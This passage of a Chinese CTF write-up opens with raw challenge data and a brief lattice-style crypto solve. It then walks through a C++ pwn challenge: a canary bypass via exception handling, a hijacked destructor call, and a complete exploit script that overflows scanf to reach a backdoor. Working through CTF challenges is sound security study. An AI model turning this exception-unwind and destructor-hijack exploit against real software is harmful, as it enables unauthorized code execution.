4197816, 4197816, 4197817, 4197818, 4197815, 4197815, 2, 1, 4197820, 3, 4197813, 3, 4197818, 4197816, 4, 4, 4, 6, 3, 11, 3, 4, 6, 7, 10, 5, 10, 6, 7, 4197820, 11, 12, 10, 7, 10, 4, 14, 9, 14, 10, 13, 14, 9, 7, 3, 13, 6, 13, 7, 10, 15, 13, 11, 8, 15, 9, 9, 17, 4, 12, 10, 8, 8, 13, 12, 8, 15, 15, 11, 11, 15, 16, 17, 12, 18, 12, 12, 15, 14, 9, 16, 9, 17, 19, 11, 24, 15, 11, 16, 16, 12, 13, 15, 22, 11, 16, 14, 15, 22, 21, 22, 18, 17, 17, 20, 22, 16, 18, 21, 16, 15, 16, 17, 19, 15, 18, 22, 21, 26, 23, 23, 28, 20, 21, 21, 23, 25, 18, 24, 20, 20, 23, 15, 23, 26], [4197790, 4197801, 4197799, 4197794, 4197802, 4197797, 4197799, 4197794, 4197798, 4197797, 4197806, 4197801, 4197791, 4197805, 4197796, 4197801, 4197806, 4197797, 4197807, 4197803, 4197804, 4197798, 4197803, 4197805, 4197804, 4197798, 4197809, 4197800, 4197806, 4197802, 4197799, 4197803, 4197806, 4197804, 4197805, 4197807, 4197810, 4197803, 4197803, 4197803, 4197812, 4197808, 4197808, 4197812, 4197804, 4197810, 4197802, 4197806, 4197808, 4197816, 4197808, 4197808, 4197809, 4197810, 4197804, 4197808, 4197803, 4197813, 4197808, 4197808, 4197808, 4197815, 4197807, 4197809, 4197815, 4197805, 4197814, 4197808, 4197808, 4197812, 4197815, 4197809, 4197810, 4197813, 4197810, 4197809, 4197820, 4197810, 4197814, 4197807, 4197810, 4197808, 4197805, 4197810, 4197811, 4197817, 4197808, 4197810, 4197812, 4197809, 4197813, 4197815, 4197812, 4197814, 4197817, 4197818, 4197807, 4197816, 4197814, 4197814, 4197812, 4197812, 4197820, 4197818, 4197811, 4197814, 4197814, 4197817, 4197815, 4197817, 2, 4197818, 4197819, 4197808, 4197812, 4197818, 4197817, 4197818, 4197820, 4197818, 3, 4197817, 0, 4197820, 4197819, 4197820, 1, 1, 2, 5, 4197815, 5, 4197820, 1, 4197819, 7, 6, 6, 7, 6, 5, 4, 1, 12, 7, 10, 0, 9, 12, 6, 5, 11, 12, 8, 8, 10, 13, 8, 2, 7, 13, 11, 10, 5, 8, 12, 7, 4, 8, 18, 8, 8, 12, 8, 4, 9, 13, 22, 10, 11, 1, 13, 14, 11, 12, 10, 12, 10, 12, 12, 12, 14, 8, 10, 13, 10, 10, 14, 10, 17, 13, 14, 16, 11, 17, 9, 18, 12, 15, 7, 15, 20, 10, 17, 17, 16, 16, 14, 14, 18, 17, 12, 15, 16, 22, 16, 20, 21, 17, 20, 22, 15, 25, 18, 21, 27, 26, 22, 22, 22, 21, 19, 19, 24, 23, 26, 19, 26, 18, 24, 22, 26, 27, 22, 21, 21], [4197797, 4197792, 4197799, 4197792, 4197798, 4197801, 4197802, 4197799, 4197802, 4197795, 4197795, 4197798, 4197798, 4197796, 4197802, 4197793, 4197805, 4197804, 4197804, 4197804, 4197801, 4197801, 4197801, 4197802, 4197798, 4197799, 4197797, 4197802, 4197801, 4197802, 4197801, 4197803, 4197806, 4197804, 4197806, 4197803, 4197810, 4197811, 4197814, 4197801, 4197808, 4197806, 4197804, 4197802, 4197799, 4197810, 4197804, 4197804, 4197806, 4197806, 4197812, 4197806, 4197813, 4197811, 4197809, 4197811, 4197803, 4197816, 4197809, 4197809, 4197803, 4197812, 4197810, 4197806, 4197804, 4197812, 1, 4197814, 4197811, 4197809, 4197814, 4197808, 4197813, 4197817, 4197810, 4197810, 4197807, 4197802, 4197810, 4197808, 4197813, 4197807, 4197814, 4197811, 4197813, 4197814, 4197817, 4197813, 4197816, 4197813, 4197814, 4197816, 4197810, 4197816, 4197811, 4197815, 4197812, 4197807, 4197812, 4197817, 4197815, 4197819, 4197815, 4197812, 4197816, 0, 4197813, 4197816, 4197815, 4197819, 4197820, 4197812, 4197818, 4197813, 4197818, 4197812, 0, 4197818, 1, 4197817, 4, 4197816, 4197818, 1, 9, 4197813, 4197819, 4197814, 4197816, 0, 4197815, 1, 4197817, 3, 9, 1, 3, 5, 2, 6, 7, 9, 3, 10, 10, 9, 5, 10, 11, 9, 10, 10, 9, 16, 7, 5, 11, 15, 5, 4, 6, 8, 11, 9, 7, 12, 17, 17, 11, 15, 12, 12, 14, 10, 10, 15, 13, 17, 9, 11, 11, 10, 12, 13, 12, 14, 15, 16, 13, 12, 10, 19, 14, 13, 8, 16, 13, 15, 18, 19, 17, 22, 20, 18, 13, 18, 15, 12, 15, 15, 14, 11, 16, 16, 14, 16, 20, 16, 12, 22, 20, 22, 18, 17, 21, 20, 11, 11, 20, 15, 18, 22, 21, 24, 31, 22, 20, 22, 26, 21, 15, 26, 19, 25, 24, 27, 22, 19, 19, 28, 24, 25, 27, 33, 27, 20], [4197794, 4197797, 4197802, 4197799, 4197797, 4197805, 4197801, 4197806, 4197795, 4197803, 4197798, 4197801, 4197802, 4197800, 4197803, 4197806, 4197806, 4197798, 4197809, 4197805, 4197805, 4197798, 4197803, 4197803, 4197806, 4197804, 4197802, 4197803, 4197798, 4197804, 4197805, 4197803, 4197807, 4197805, 4197810, 4197798, 4197804, 4197806, 4197808, 4197801, 4197811, 4197805, 4197805, 4197809, 4197802, 4197802, 4197798, 4197806, 4197806, 4197808, 4197807, 4197806, 4197809, 4197813, 4197809, 4197800, 4197808, 4197808, 4197806, 4197807, 4197804, 4197804, 4197805, 4197811, 4197806, 4197806, 4197809, 4197811, 4197810, 4197815, 4197807, 4197812, 4197814, 4197812, 4197811, 4197809, 4197809, 4197805, 4197811, 4197811, 4197811, 4197815, 4197811, 4197812, 4197812, 4197814, 4197813, 4197815, 4197814, 4197811, 4197809, 4197811, 4197814, 4197814, 4197813, 4197811, 4197813, 4197817, 4197814, 4197817, 4197817, 4197815, 4197819, 4197817, 4197811, 1, 4197816, 4197818, 4197816, 4197815, 4197815, 4197816, 4197818, 4197820, 0, 4, 3, 4197819, 4197819, 3, 4197813, 4197816, 2, 4197820, 4197820, 4197818, 4197818, 2, 4197818, 3, 5, 4, 1, 4, 1, 6, 8, 10, 0, 1, 9, 5, 3, 10, 3, 7, 2, 10, 7, 7, 9, 5, 12, 4197818, 8, 5, 10, 7, 9, 4, 8, 10, 5, 5, 14, 13, 12, 14, 10, 7, 8, 9, 8, 11, 10, 12, 9, 10, 7, 10, 16, 17, 5, 15, 8, 11, 6, 9, 12, 10, 17, 21, 16, 12, 17, 15, 19, 17, 19, 21, 18, 16, 16, 15, 17, 16, 13, 9, 18, 19, 16, 16, 15, 19, 16, 17, 18, 15, 19, 18, 11, 19, 14, 23, 17, 23, 23, 25, 15, 24, 17, 15, 17, 18, 23, 17, 15, 17, 19, 21, 20, 18, 24, 30, 21, 21, 21, 27, 27, 19, 25, 20, 21, 21, 24, 23], [4197792, 4197795, 4197794, 4197792, 4197798, 4197796, 4197798, 4197800, 4197799, 4197794, 4197798, 4197804, 4197800, 4197794, 4197793, 4197796, 4197802, 4197798, 4197802, 4197795, 4197796, 4197801, 4197797, 4197807, 4197803, 4197803, 4197803, 4197807, 4197795, 4197795, 4197803, 4197803, 4197805, 4197805, 4197802, 4197805, 4197805, 4197809, 4197799, 4197810, 4197804, 4197805, 4197806, 4197812, 4197809, 4197805, 4197805, 4197807, 4197804, 4197808, 4197806, 4197797, 4197805, 4197808, 4197807, 4197809, 4197817, 4197807, 4197804, 4197811, 4197811, 4197806, 4197805, 4197805, 4197806, 4197806, 4197817, 4197803, 4197811, 4197804, 4197813, 4197806, 4197814, 4197809, 4197809, 4197813, 4197807, 4197805, 4197810, 4197813, 4197816, 4197810, 4197809, 4197808, 4197813, 4197807, 4197810, 4197812, 4197814, 4197810, 4197813, 4197818, 4197818, 4197813, 4197819, 4197806, 4197808, 4197811, 4197813, 4197814, 4197813, 4197815, 4197806, 4197805, 4197817, 4197818, 4197817, 4197817, 4197816, 4197818, 4197818, 4197818, 4197817, 4197817, 4197818, 2, 4197811, 4197815, 1, 4197817, 1, 4197819, 4197817, 1, 0, 4197818, 4197819, 2, 4, 4197820, 4197817, 1, 2, 4197820, 6, 2, 2, 8, 6, 8, 8, 15, 10, 5, 7, 10, 0, 2, 4, 11, 5, 7, 7, 12, 5, 6, 15, 10, 11, 15, 12, 11, 9, 11, 7, 9, 13, 10, 8, 7, 15, 8, 15, 10, 15, 13, 11, 15, 14, 9, 15, 7, 17, 12, 14, 13, 16, 8, 9, 13, 18, 22, 14, 13, 17, 20, 20, 16, 20, 16, 16, 14, 18, 21, 18, 17, 18, 21, 18, 20, 15, 22, 11, 18, 18, 19, 18, 18, 23, 28, 21, 21, 20, 20, 21, 28, 27, 23, 18, 16, 26, 22, 23, 19, 23, 22, 21, 21, 22, 29, 27, 24, 26, 22, 21, 20, 25, 26, 27, 27, 21, 27, 34, 28, 23, 23], [4197802, 4197797, 4197802, 4197796, 4197804, 4197799, 4197797, 4197797, 4197801, 4197800, 4197800, 4197803, 4197797, 4197806, 4197799, 4197803, 4197807, 4197808, 4197807, 4197800, 4197803, 4197799, 4197805, 4197799, 4197805, 4197808, 4197804, 4197802, 4197805, 4197810, 4197810, 4197807, 4197808, 4197807, 4197806, 4197796, 4197806, 4197804, 4197811, 4197807, 4197804, 4197809, 4197807, 4197802, 4197806, 4197809, 4197813, 4197806, 4197807, 4197811, 4197802, 4197812, 4197807, 4197808, 4197809, 4197810, 4197811, 4197804, 4197802, 4197809, 4197808, 4197818, 4197812, 4197810, 4197811, 4197816, 4197805, 4197805, 4197813, 4197815, 4197809, 4197810, 4197818, 4197810, 4197809, 4197815, 4197812, 4197811, 4197810, 4197817, 4197813, 4197817, 4197813, 4197809, 4197814, 4197809, 4197813, 4197812, 4197811, 4197813, 4197811, 4197815, 4197815, 4197816, 4197811, 4197813, 4197813, 4197818, 4197813, 4197815, 4197814, 4197812, 4197811, 4197814, 4197816, 4197817, 4197820, 4197817, 2, 4197815, 4197817, 4197814, 1, 4197813, 4197818, 4197820, 5, 4197817, 4197814, 4197820, 4197817, 4197816, 4197818, 3, 4197818, 4197820, 4197819, 2, 0, 2, 4, 4197820, 4197820, 3, 4197819, 4197819, 2, 2, 4, 4197819, 3, 3, 5, 6, 2, 11, 4, 2, 4, 0, 7, 3, 9, 3, 7, 3, 5, 5, 8, 11, 7, 14, 12, 10, 9, 10, 9, 6, 4, 11, 8, 10, 6, 12, 5, 14, 11, 11, 7, 18, 13, 10, 11, 15, 6, 11, 9, 1, 8, 15, 15, 9, 8, 13, 10, 10, 13, 17, 11, 17, 12, 14, 16, 10, 12, 15, 16, 13, 11, 14, 14, 12, 15, 16, 17, 17, 18, 13, 16, 16, 19, 11, 15, 13, 18, 10, 19, 17, 17, 20, 24, 16, 17, 15, 18, 13, 16, 18, 12, 15, 20, 21, 16, 20, 24, 18, 22, 27, 24, 19, 18, 18, 15, 22, 19, 23], [4197805, 4197801, 4197798, 4197802, 4197804, 4197806, 4197801, 4197805, 4197798, 4197805, 4197806, 4197805, 4197804, 4197810, 4197802, 4197802, 4197803, 4197811, 4197805, 4197802, 4197804, 4197804, 4197800, 4197803, 4197799, 4197801, 4197804, 4197806, 4197802, 4197801, 4197807, 4197801, 4197809, 4197807, 4197808, 4197808, 4197809, 4197805, 4197804, 4197806, 4197811, 4197803, 4197806, 4197801, 4197804, 4197811, 4197808, 4197810, 4197813, 4197812, 4197805, 4197802, 4197809, 4197811, 4197813, 4197801, 4197802, 4197811, 4197806, 4197801, 4197803, 4197811, 4197814, 4197806, 4197815, 4197813, 4197812, 4197811, 4197810, 4197816, 4197808, 4197811, 4197810, 4197813, 4197810, 4197815, 4197809, 4197804, 4197811, 4197811, 4197812, 4197816, 4197810, 4197814, 4197815, 4197813, 4197813, 4197809, 4197812, 4197811, 4197812, 4197816, 4197817, 4197812, 4197815, 4197812, 4197817, 4197816, 4197816, 2, 4197818, 4197815, 4197817, 4197819, 4197819, 4197810, 4197814, 4197818, 4197817, 4197819, 4197819, 4197816, 4197815, 4197818, 4197817, 4197817, 4197819, 4197815, 4197814, 4197819, 1, 4197817, 4197815, 0, 4197819, 4197817, 4197820, 4197815, 4197816, 3, 3, 0, 2, 1, 4197818, 1, 1, 3, 4197817, 4197819, 4197820, 4197819, 1, 4, 4197820, 4, 1, 1, 5, 11, 5, 9, 3, 3, 4197820, 0, 7, 1, 10, 4, 5, 5, 3, 2, 12, 9, 8, 3, 10, 6, 8, 1, 12, 4, 3, 8, 9, 16, 10, 3, 10, 12, 9, 17, 7, 13, 11, 15, 13, 11, 4, 14, 7, 14, 14, 10, 15, 15, 13, 16, 16, 11, 10, 20, 15, 8, 12, 17, 14, 8, 14, 17, 14, 21, 16, 15, 23, 13, 18, 14, 20, 11, 13, 20, 20, 16, 19, 16, 11, 16, 23, 21, 18, 16, 21, 18, 17, 19, 15, 13, 20, 13, 22, 23, 18, 17, 18, 21, 19, 22, 22, 17, 21, 16, 18, 15], [4197799, 4197792, 4197790, 4197798, 4197797, 4197801, 4197794, 4197796, 4197803, 4197801, 4197796, 4197795, 4197803, 4197795, 4197800, 4197793, 4197799, 4197799, 4197798, 4197793, 4197795, 4197796, 4197799, 4197804, 4197804, 4197797, 4197804, 4197794, 4197796, 4197798, 4197802, 4197798, 4197794, 4197799, 4197795, 4197803, 4197798, 4197802, 4197800, 4197804, 4197805, 4197798, 4197801, 4197804, 4197801, 4197805, 4197804, 4197799, 4197802, 4197799, 4197810, 4197804, 4197801, 4197807, 4197808, 4197806, 4197808, 4197806, 4197803, 4197804, 4197806, 4197801, 4197809, 4197803, 4197807, 4197804, 4197807, 4197803, 4197808, 4197806, 4197806, 4197815, 4197807, 4197816, 4197807, 4197813, 4197805, 4197801, 4197805, 4197806, 4197814, 4197810, 4197807, 4197811, 4197811, 4197809, 4197810, 4197809, 4197813, 4197810, 4197810, 4197815, 4197812, 4197808, 4197804, 4197808, 4197804, 4197811, 4197813, 4197815, 4197808, 4197808, 4197815, 4197815, 4197814, 4197819, 4197812, 4197816, 4197818, 4197815, 4197816, 4197817, 4197809, 4197811, 4197806, 4197817, 0, 3, 4197810, 4197816, 4197812, 4197819, 4197817, 4197811, 4197819, 4197815, 4197818, 4197814, 4, 4197816, 4197818, 4197818, 2, 4197820, 2, 4197816, 4197820, 1, 3, 2, 2, 3, 8, 1, 0, 4197816, 8, 9, 4, 4, 9, 6, 3, 6, 4, 12, 5, 3, 3, 7, 10, 9, 6, 6, 12, 13, 9, 12, 5, 7, 11, 13, 14, 12, 20, 8, 14, 11, 9, 13, 13, 12, 10, 14, 25, 13, 15, 14, 15, 12, 17, 22, 13, 14, 8, 20, 18, 16, 14, 18, 20, 19, 12, 18, 14, 20, 12, 21, 17, 27, 18, 13, 13, 16, 18, 19, 20, 19, 21, 20, 17, 21, 23, 19, 22, 21, 18, 18, 21, 28, 15, 19, 21, 25, 23, 21, 26, 20, 25, 22, 31, 30, 30, 24, 21, 21, 24, 24, 18, 22, 27, 23, 24, 24, 30, 26]]

ct = a7076cebf86512a42b5258d5b197b2065123618122662c2c1533f698da00f21b4c0dbe5afd4cfd093339521ff61f7c4e

分析程序，可以发现在4A=A的条件下，yv是由15个相同的ye生成的。

源程序为：

te=Av*sv

we=Av*yv

zv=ce*sv+yv

注意到yv=[ye]*15

所以we=sum(Av)*ye

所以ye可解，yv可解，sv=(zv-yv)/ce

签到/问卷

在对应位置获取即可（）

Pwn

n1canary

硬干十小时的题目，最后也没有做出来，有点小不甘....（还是对漏洞不是很敏感，对C++ pwn的题型也接触的太少了）

写一下思路历程吧：

1. 一开始把注意力放在了canary的泄露和绕过上，搞半天发现又是随机又是加密根本绕不过，只有一次可能的输出根本泄露不了一点
2. 之后研究了下C++异常捕获基址，可以直接不判断canary，回退执行，但是出题人在捕获之后加了个exit（裂开），并没有什么用
3. 再之后想通过Unwind_RaiseException唯一的leave_ret完成栈迁移然后发现输入点在gadget的下方（double裂开）

赛后复现了一下，调试的过程（下了六个断点）和静态分析基本上没有问题，思路在某些方面还是对的（通过C++捕获异常绕过两个canary，在bss段上布置backdoor）。问题出在没有注意析构函数_QWORD *__fastcall std::unique_ptr<BOFApp>::~unique_ptr(__int64 a1) 内部一个函数std::default_delete<BOFApp>::operator()(deleter, *v2)有一个对寄存器储存的地址经过两次解引用的调用：

可以看到，程序将rax的值作为地址解析并将rax的值指向的空间的数据储存到rdx，给rdx加上8后又将rdx指向的内存储存的数据传给rdx，最后执行rdx指向的内容

于是，自然产生了这样的想法：要是能够控制rax的值，不就可以执行任意地址指向的内容了吗

同样，可以执行我们程序给出的后门函数

调试可以发现，scanf有溢出，同时栈上读入点离上述rax地址相差0x70

溢出前

溢出后

这样在捕获异常后，继续执行析构函数就可以对rax解析一次后得到user_canary的地址0x4f4aa0，接下来还要继续对0x4f4aa0上储存的数据进行一次解析并调用，所以我们就可以通过第一次输入在user_canary写入backdoor地址，来构造rop

至此，思路就明了了，分为两步：1、第一次输入写入backdoor地址构造rop，2、第二次输入溢出覆盖rax为user_canary地址

注意几个坑：

1. 测试的时候输入的数据不能太大，不然会卡在uw_frame_state_for函数根本没法执行到析构函数，分析不了一点
2. 注意sl还是sd，单个自己解的影响在这题比较大（scanf在\n处截断）
3. 第二步溢出的时候记得不要改变地址0x403407，不然也会卡住（和1类似）

from Excalibur import *

contextset()
proc('./pwn')

debug('b *0x0000000000403547\n b *0x0000000000403633\n b *0x00000000004037D5\nb *0x0000000000403245\nb *0x000000000040343C\nb *0x42099a\nb *0x040354C\nb *0x00000000004038E6\nb *0x403407\n b *0x41fe58')
#debug('b cxa_begin_catch')
system = 0x000000000040338B
canary = 0x4f4aa0



pay = (p64(canary)+p64(system)).ljust(0x40,b'a')#40
sda(b'\n',pay)
pr(pay)
#sla(b'pwn :)',p64(0x4f4aa0))#
#sla(b'pwn :)',b'a'*0x60)#
sla(b'pwn :)',b'a'*0x68+p64(0x403407)+p64(canary))
#pr(rc())

ia()

总结：还是得gdb和IDA结合者看啊，缺少任何一个都不行；C++析构函数很容易出现漏洞·